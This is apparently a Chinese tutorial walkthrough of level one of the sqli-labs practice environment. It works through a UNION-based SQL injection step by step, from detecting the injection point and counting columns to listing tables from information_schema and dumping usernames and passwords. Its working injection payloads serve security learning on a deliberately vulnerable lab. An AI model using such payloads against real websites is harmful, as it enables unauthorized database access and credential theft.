sqli-labs第一关

1.判断是否存在注入,注入是字符型还是数字型?
?id=1 and 1=1

sqli-labs第一关_第1张图片

?id=1 and 1=2

sqli-labs第一关_第2张图片

因为输入and 1=1与and 1=2 回显正常,所以该地方不是数字型。

?id=1'

sqli-labs第一关_第3张图片

?id=1'--+

sqli-labs第一关_第4张图片

输入单引号后报错,在单引号后添加--+恢复正常,说明存在字符注入

2.猜解SQL查询语句中的字段数
?id=1' order by 3 --+

sqli-labs第一关_第5张图片

?id=1' order by 4 --+

sqli-labs第一关_第6张图片

利用二分法尝试,得到列数为3

3.确定回显位置

将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。(当union前面语句查询不到时,会使用union后面的查询语句)

?id=-1' union select 1,2,3 --+

sqli-labs第一关_第7张图片

发现页面先输出了2和3,说明页面有2个显示位 。

4.获取当前数据库
?id=1' union select 1,database(),version() --+
sqli-labs第一关_第8张图片

通过数据库自带函数database()和version()获取数据库名和版本

5.获取数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='security' --+

sqli-labs第一关_第9张图片

information_schema.tables系统表中检索所有属于security数据库的表名,并将它们连接成一个由逗号分隔的字符串。GROUP_CONCAT函数在这里用于将多个表名合并成一个单一的字符串结果。(因为查询出来是按列来排序所以需要GROUP_CONCAT函数来将列合并成一行)

6.获取表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_schema='security' and table_name='users' --+
sqli-labs第一关_第10张图片

information_schema.columns系统表中检索特定数据库(security)中特定表(users)的所有列名

7.得到数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

sqli-labs第一关_第11张图片

0x3a时表示十六进制中的冒号,方便查看信息

你可能感兴趣的:(数据库)